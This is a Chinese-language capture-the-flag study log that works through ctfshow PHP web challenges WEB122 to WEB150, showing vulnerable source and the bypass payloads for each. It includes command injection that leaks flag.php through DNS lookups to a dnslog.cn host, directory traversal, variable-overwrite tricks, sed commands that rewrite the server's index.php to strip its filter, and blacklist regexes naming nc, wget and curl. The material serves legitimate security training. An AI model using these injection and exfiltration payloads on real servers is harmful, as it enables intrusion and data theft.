    $num=str_replace("e","1",$num);//把$num中的"e"替换成"1"
    $num=str_replace("+","1",$num);//把$num中的"+"替换成"1"
    return $num;
}
$num=$_GET['num'];
//trim移除字符串两侧字符
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} hacker!!!

图片.png图片.png
由上面一张图可以看到%0c没有过滤
trim+is_numeric过滤之后只会留下 换页符(%0c) 和 + - 两个符号 payload:num=%0c36
is_numeric要绕过的话前面加空格是可以绕过的:%0936或者%2036,因为空格是不可见字符
要学会自己本地测试!小老弟!加油,很难,但是还是要坚持刷下去!

Q:为什么这里var_dump($num!==’36’ and $num==’36’);,get传递%0c36返回结果是true?
A:遇到这种问题最好的方法就是看文档
image.png
!==就是相当于===被一个!替换了

$num!==’36’(!==进行比较时不进行类型转换,就是36不转化为数字36,而是作为一个字符串36来比较),咱们提交的是%0c36,肯定和字符串的36不一样
$num==’36’(等于)类型转换 %0c36转化为int是36

WEB123(echo没禁用)

突破函数禁用

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];//$_SERVER包含了像标头、文件路径和脚本位置等信息//argv:传递给该脚本的参数的数组。
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

CTFSHOW.COM这里默认会将点转化为下划线,但是它有个转化规则,就是对不符合规则的变量名里面只转换一次,类似于我们的双写的绕过,PHP转化为空我们就可以提交PPHPHP。
如果CTF_SHOW.COM中
和点都不合法的话,它只转化第一个,后面的就保留,所以转化的话下划线肯定就是方括号[了(参考https://www.freebuf.com/articles/web/261802.html
这道题禁用的函数挺多的(多翻一翻PHP手册,不断测试)
函数执行没有回显就说明函数被ban了
PHP变量名不能带点和空格,会被转化为下划线

payload:
POST: CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo implode(get_defined_vars())
image.png
这个和hint不一样

hint:CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
image.png

WEB125(var_export代替echo或者extract变量覆盖)

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

这道题把echo过滤了,去PHP手册里面找能打印的函数,看到var_export
image.png
image.png
payload:var_export(implode(get_defined_vars())) 【小知识:var_export可以代替echo和var_dump】

方法2、extract变量覆盖
我们看代码,只要$fl0g===”flag_give_me”即可,但是不能存在get值为f10g,那么我们直接覆盖,把post值覆盖为它就行:
CTF[SHOW.COM=2&CTF_SHOW=1&fun=extract($_POST)&fl0g=flag_give_me
image.png

Hint:
GET: ?1=flag.php
POST: CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

WEB126(?★)

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

参考:https://www.cxyzjd.com/article/rfrder/112882464
本题要注意:$a=$_SERVER[‘argv’]; 这行代码
参考羽师傅博客:

1、cli模式(命令行)下

    第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

    在web页模式下必须在php.ini开启register_argc_argv配置项

    设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

    这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

    $argv,$argc在web模式下不适用

本地测试:
image.png

<?php
var_dump($_SERVER['argv']);
?>

图片.png
因此可以把代码写到get的查询语句中,然后eval($a[0])执行即可
image.png
图片.png
可以用加号+进行分隔,从而使得$_SERVER[‘argv’]这个array不仅仅只有[0]。

$a=$_SERVER['argv'];
var_dump($a[1]);
页面回显是:string(17) "fl0g=flag_give_me" 
我们只要用parse_str($a[1])覆盖掉c即可

GET:?a=1+fl0g=flag_give_me (+表示空格)
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

a作为它脚本的一个参数,argv是一个脚本执行参数,可以在PHP里面的话作为index.php的执行参数
来调入,调入进去它是一个数组,数组的话是以空格来进行分割的

image.png
在本地多测试!

or GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
image.png

WEB127(PHP变量名带[点]和[空格]会被转化为下划线)

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//'QUERY_STRING'
//query string(查询字符串),如果有的话,通过它进行页面访问。
//获取的查询语句是服务端还没url解码的,所以url编码绕过即可(Full url encode)


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);//extract从数组中将变量导入到当前的符号表
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

发现下划线被过滤掉了,要构造下划线:
我们又知道PHP变量名不能带[点]和[空格],他们会被转化为下划线(这道题点被过滤)

下划线经过完全url编码为%5f
对_url编码一次即可,$_SERVER[‘QUERY_STRING’];获取的查询语句是服务端还没url解码的,所以url编码绕过即可:
?ctf%5fshow=ilove36d

Hint:
GET: ?ctf show=ilove36d
为啥空格也行?因为道PHP变量名不能带[点]和[空格],他们会被转化为下划线

WEB128(骚姿势:gettext)

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){  
    var_dump(call_user_func(call_user_func($f1,$f2)));//把第一个参数作为回调函数使用//连续两次调用
}else{
    echo "嗯哼?";
}

function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);//check不能有字母和数字
} NULL

我们没办法控制的是f1,只能控制特殊字符;f2是参数,是可控的
而特殊字符作为函数的话只有一个,它的别名叫下划线(这是唯一一个有别名的)
image.png

<?php
echo gettext("phpinfo");
//结果  phpinfo

echo _("phpinfo");
//结果 phpinfo
?>

image.png

f1和f2经过我们的构造能返回一个字符串,这个字符串的值我们是可以控制的
image.png
image.png

我们如何拿到flag值呢?因为包含了flag.php, 包含了肯定把变量注册了,我们只需要打印所有的变量即可
直接get_defined_vars
image.png

Hint:
https://www.cnblogs.com/lost-1987/articles/3309693.html https://www.php.net/manual/zh/book.gettext.php 小知识点: ()是一个函数 ()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有phpgettext.dll get_defined_vars()函数 get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag payload: ?f1=&f2=get_defined_vars

WEB129(目录穿越)

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

image.png
image.png
构造一个多重目录看看
image.png
?f=../ctfshow/../../www/html/index.php(显示320,读取文件成功)
../就到/var/www,/ctfshow没有,从它进去,上一级目录还是/var/www,再上一级目录/var,然后再/www/html/index.php

那么我们看一下flag.php:
?f=../ctfshow/../../www/html/flag.php,查看网页源代码:
image.png
这就是一个目录穿越,它中间是可以进行自定义的,例如上面的ctfshow,虽然不存在,但是通过它的上下切换

WEB130(正则/回溯)

very very very(省略25万个very)ctfshow

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){ //i表示匹配大小写,s是匹配换行
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

payload:
POST : f=ctfshow

Q: 为什么“preg_match(‘/.+?ctfshow/is’, $f”和“stripos($f, ‘ctfshow’) === FALSE”这两个正则都能过呢?
A: .+?ctfshow,表示第一个只要是任意字符就能匹配到,我们提交的ctfshow前没有任意字符,当然匹配不到;
stripos($f, ‘ctfshow’)是返回ctfshow在$f中第一次出现的位置,返回的是int型,因为是===,肯定要比对类型,数字和布尔值肯定是不相等的,这个if就过了!

学习一下P神的博客:PHP利用PCRE回溯次数限制绕过某些安全限制

WEB131(正则溢出)

very very very(省略25万个very)ctfshow

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];  //多了一个字符型转换

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

我们要想办法突破匹配的长度,匹配是有长度的,超过这个长度是不再进行匹配,也就是正则溢出

$a=str_repeat('show',250000);
$b=$a.'36Dctfshow';
echo $b;

image.png
不知道为啥

Hint:
考察: 正则表达式是溢出 https://www.laruence.com/2010/06/08/1579.html 大概意思就是在php中正则表达式进行匹配有一定的限制,超过限制直接返回false
#payload: <?php echo strrepeat(‘very’, ‘250000’).’36Dctfshow’; #post发送过去就OK_

WEB132(考察优先级)

打开界面发现是一个网页:
image.png

我们访问robots.txt,发现Disallow: /admin

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

        if($code == 'admin'){
            echo $flag;
        }

    }
}

主要是过三个if才能拿到flag
if($code === mt_rand(1,0x36D) && $password === $flag || $username ===”admin”)

$code === mt_rand(1,0x36D) && $password === $flag 为真,$username ==="admin"就不看
$username ==="admin"为真,$code === mt_rand(1,0x36D) && $password === $flag 就不看

image.png

Hint:
考察: php中&&和||运算符应用 访问/robots.txt,之后访问/admin,获得源代码 https://www.cnblogs.com/hurry-up/p/10220082.html 对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。 payload: ?a=admin&b=admin&c=admin
#在判断这个的时候 if($code === mt_rand(1,0x36D) && $password === $flag || $username ===”admin”) 第一个$code === mt_rand(1,0x36D)为false,之后就执行|| $username ===”admin”#成功绕

WEB133(dns带外)

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

?F=$F;
$F就是$GET的值,引入shell进行执行,因为它在反引号里面
因为$F; 是一个无效命令就绕过,会把后面的值继续执行
虽然她这里截取了前面6个,前六个是$F; 的值,是要把这个值带进去,它没有把$_GET的值进行截取,而是把
它变量的值截取,那么我们继续用$_GET[‘F’]的值是可以的

我们要想把数据带回来,了解一个比较骚的姿势,可以用dns带外:
http://dnslog.cn/
image.png
m9hfm5.dnslog.cn
尝试:?F=$F; ping cat flag.php.m9hfm5.dnslog.cn -c 1(没有值,因为内容比较多,二级域名是有限制的,cat flag.php作为四级域名xxx.m9hfm5.dnslog.cn)
我们可不可以用一些比较骚的操作来进行格式化?
?F=$F; ping cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]".m9hfm5.dnslog.cn -c 1
执行后刷新:refresh record
image.png
flagctfshow45089dcd07b647b581eddb95f5becde9.m9hfm5.dnslog.cn
ctfshow{45089dcd07b647b581eddb95f5becde9}
我们整理一下,加-,uid的格式是8 4 4 4 12
ctfshow{45089dcd-07b6-47b5-81ed-db95f5becde9}

Hint:
https://blog.csdn.net/qq_46091464/article/details/109095382

WEB134(?变量覆盖问题)

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");//post里面的值不能有key1和key2,查询字符串里面的值也不能有key1和key2
}
@parse_str($_SERVER['QUERY_STRING']); //查询字符串
extract($_POST); //对POST释放
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

我们可以用get的值来读取,进行一个导入当前符号表,导入到当前符号表,把post值填充进去,然后再用POST值进行释放,思路就这样
?_POST[key1]=36d&_POST[key2]=36d
它是个PHP文件,读取出来不能直接看见,查看源代码:
image.png

WEB135/web133plus(考察写文件:cp/nl 或者dns外带)

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

这道题可以采用和web133一样的方法把数据外带出来:http://dnslog.cn/(DNS带外)
?F=$F; pingnl flag.php. 981gnr.dnslog.cn -c 1 (cat换nl,因为被过滤了)
发现刷新记录(refresh record)没有出现flag,这是因为内容比较多,而二级域名是有限制的,我们可以进行格式化:nl flag.php | grep ctfshow | tr -cd “[a-z]”/“[0-9] (grep被过滤)
?F=$F; pingnl flag.php | tr -cd "[a-z]"/"[0-9]". 981gnr.dnslog.cn -c 1 还是不行
图片.png
/?F=$F; touch 1,再访问1,发现具有可写权限!!
图片.png
还想用133的方法但是发现函数都给禁用了,发现没有限制写文件

payload:F=`$F `; nl f*>1.txt
payload:F=`$F `; cp f* 2.txt
然后访问txt文件即可!

图片.png
ctfshow{476802a8-14bb-474e-ac7e-197a74cc3a26}

出题人解法:

因为有特殊符号,在二级域名里面是不解析的
?F=`$F`;nl flag.php>/tmp/1   我们用nl读取文件,再写入临时文件1
然后我们从1中读取:
?F=`$F`;ping `nl flag.php | awk 'NR==15'`.981gnr.dnslog.cn -c 1  (发现没出来flag)
  #因为flag大概是flag.php第十五行开始,NR就是number缩写

  我们尝试编码:
?F=`$F`;ping `nl flag.php | awk 'NR==15'| tr -cd "[a-z]"/"[0-9]"`.981gnr.dnslog.cn -c 1
    可以拿到前半部分flag,再读16行:
?F=`$F`;ping `nl flag.php | awk 'NR==16'| tr -cd "[a-z]"/"[0-9]"`.981gnr.dnslog.cn -c 1
  我们知道ctfshow的flag的uid是8,4,4,4,12

查看Hint后发现还有另外一种写法(?发现是不行的呀,怎么回事):

`$F`;+ping `cat flag.php|awk 'NR==2'`.981gnr.dnslog.cn  (cat被过滤)
#通过ping命令去带出数据,然后awk NR一排一排的获得数据

WEB136(★linux的tee命令使用+直接修改代码的骚操作)

 <?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

这道题考察的又是一个我不会的知识点,哎
tee(linux命令)
许多符号和常用函数都被禁用,这里用到linux一个tee:用来读取标准输入的数据,并将其内容输出成文件

tee file1 file2 //复制文件 
ls|tee 1.txt //命令输出 | 为管道符

图片.png
图片.png
我们先查看当前目录
?c=ls /|tee 1 (将根目录下所有文件名保存到1这个文件中)
图片.png
发现f149_15_h3r3目录
直接查看:?c=nl /f149_15_h3r3|tee 1
图片.png

其他骚方法,太骚了(群主大菜鸡的方法):
我们直接改源码(太骚了):
①?c=ls|xargs sed -i ‘s/die/echo/‘(先执行)
②?c=ls|xargs sed -i ‘s/exec/system/‘(再执行)
③然后不提交c,直接访问:
图片.png图片.png
这时候我们可以尽情的随便玩:没有任何限制的命令执行
图片.png
图片.png
这个方法是通过PHP自身来修改它PHP脚本的代码,来实现绕过,直接ban到它的WAF,也就是ban掉它的baned

sed和xargs相关使用:https://blog.csdn.net/weixin_39731083/article/details/82495950

用sed 命令把本目录下的所有sh文件中的"letv3"替换成"letv4"

 sed -i 's/letv3/letv4/g' ./*.sh
 grep -rl 'letv3' . | xargs sed -i 's/letv3/letv4/g'

WEB137(静态方法调用之双冒号)

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

call_user_func($_POST['ctfshow']);

从这道题开始我们就开始接触类了,类就是方法和变量的组合!
群主思路:

这道题有一个类,叫ctfshow,有两个方法(一个是魔术方法:__wakeup,一个是静态方法:getFlag)
  静态方法就是说不用实例化,可以直接调用的(什么叫实例化?就是我设计了一个产品的规格,那么照着这个规格造出来一个产品,这个产品和这个规格的关系就是类实例和类的关系。类的定义就是这个产品的规格定义好了,那么照着这个规格把产品生产出来。为了区分产品和产品,毕竟还是两个产品,产品A和产品B就是这个类的实例)

  静态方法就是说,不需要把这个产品生产出来,直接在设计里面可以用的东西(直接用ctfshow这个类就可以调用这个方法)

  call_user_func($_POST['ctfshow']); 这个函数是可以支持调用类的,有两种写法
  1、POST:  ctfshow=phpinfo【这里直接是函数名,没有括号】,可以调用
  2、还可以调用类,如果是无参的,也就是说没有第二参数的,还有它这个方法是call_user_func,我们可以使用ctfshow::getFlag


如果调用非静态方法是怎么处理?
ctfshow=call_user_func_array(array(new ctfshow(),'getFlag'),args)

这道题我们知道有一个调用类的静态方法,就是用两个冒号调用就行了
    要知道这些东西,否则有些代码看不懂

PHP没有学好,该补的知识一定补,该跪的搓衣板一定跪(orz)
只好看大佬博客了:https://blog.csdn.net/weixin_54648419/article/details/119819995

直接调用类中的函数
POST:ctfshow=ctfshow::getflag
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.
也就是说双冒号可以不用实例化类就可以直接调用类中的方法
查看页面源代码:
图片.png
Hint:
考察: call_user_func()函数的使用 https://www.php.net/manual/zh/function.call-user-func.php

WEB138(静态方法调用之利用数组)

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']);

在上一题的基础上过滤了冒号
群主大菜鸡的思路:

由于过滤冒号,我们就不能利用上一题的双冒号的静态方法调用,我们可以用数组
查看PHP手册:
call_user_func(__NAMESPACE__ .'\Foo::test'); // As of PHP 5.3.0
call_user_func(array(__NAMESPACE__ .'\Foo', 'test')); // As of PHP 5.3.0

上面两行代码效果是一样的,只是一个用了双冒号,一个没有
  payload:ctfshow[0]=ctfshow&ctfshow[1]=getFlag  
  就相当于双冒号写法的:ctfshow::getFlag


这时候就考察我们对call_user_func函数的使用了,call_user_func中不但可以传字符串也可以传数组。
具体使用方法如下

call_user_func(array($classname, 'say_hello'));
这时候会调用 classname中的 say_hello方法

payload: ctfshow[0]=ctfshow&ctfshow[1]=getFlag
ctfshow{c54119ca-a64a-4124-97ab-ddb61d92b4ea}

WEB139(未解)

 <?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

这道题我们还是可以尝试web136中群主大菜鸡提供的骚方法,我们先试一下:
①?c=ls|xargs sed -i ‘s/die/echo/‘(先执行)
②?c=ls|xargs sed -i ‘s/exec/system/‘(再执行)[exec和system被过滤了,没关系,只是替换]
③然后不提交c,直接访问:
诶,这道题不行诶,怎么回事???
问了一下群主大菜鸡哥哥,他是这么解答的:
index.php没有写权限,不让改,我们就不能使用sed改文件
那怎么确认它没有写权限呢?
touch a后访问a,啥都没有,说明没有写权限,所以这道题只能乖乖使用脚本盲注文件内容了

我们看看web136,touch a,说明具有写权限,所以我们才可以根据上面的骚操作该文件
图片.png
所以如果我们要使用上面的骚操作,文件必须要有可写权限!!!

好了,下面是解题过程:

WEB140(拼凑函数/函数嵌套)

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){ //f1要是数字字母
        if(preg_match('/^[a-z0-9]+$/', $f2)){ //f2要是数字字母
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

本地测试:

<?php
$a=current(localeconv());
echo $a.'<br />'; //返回'.'
echo intval('.').'<br />'; //0
echo intval('ctfshow');//0
var_dump(intval($a)==ctfshow); //bool(true)  先转化为同一类型再比较,intval('.'')是0  0==0 (ctfshow转化为数字是0)
?>

说明我们只需要$code = eval(“return $f1($f2());”);中$f1($f2())返回值为0即可

拼凑函数,凑出intval($code)为0或false或NULL的,而intval会将非数字字符转换为0,所以只要拼凑的函数不是数字字符就是了

payload1:
POST: $f1=current&$f2=localeconv, 查看源代码既可以获得flag
图片.png
看其他大佬payload:

f1=usleep&f2=usleep
f1=md5&f2=md5
f1=system&f2=system
f1=getdate&f2=getdate

本地测试:

$a=md5(md5());
echo $a.'<br />'; //d41d8cd98f00b204e9800998ecf8427e
$code=intval('d41d8cd98f00b204e9800998ecf8427e');
var_dump(intval($code) == 'ctfshow');//bool(true)

Hint:
考察: 函数的利用 payload: f1=usleep&f2=usleep

$a=usleep(usleep());
echo $a.'<br />';
$code=intval($a);
echo $code;//0
var_dump(intval($code) == 'ctfshow');//bool(true)

图片.png

WEB141(无字母数字绕过正则,未做)

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

参考:无字母数字绕过正则表达式

WEB142(进制绕过is_numeric)

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

0和任意数相乘为0,只要保证v1为0即可
提交v1=0

Hint:
0和0x0绕过 这里绕过因为是因为当成了8进制和16进制

WEB143(未做)

141的plus版本

WEB144

WEB145

WEB146

WEB147

WEB148

WEB149

WEB150

WEB150_plus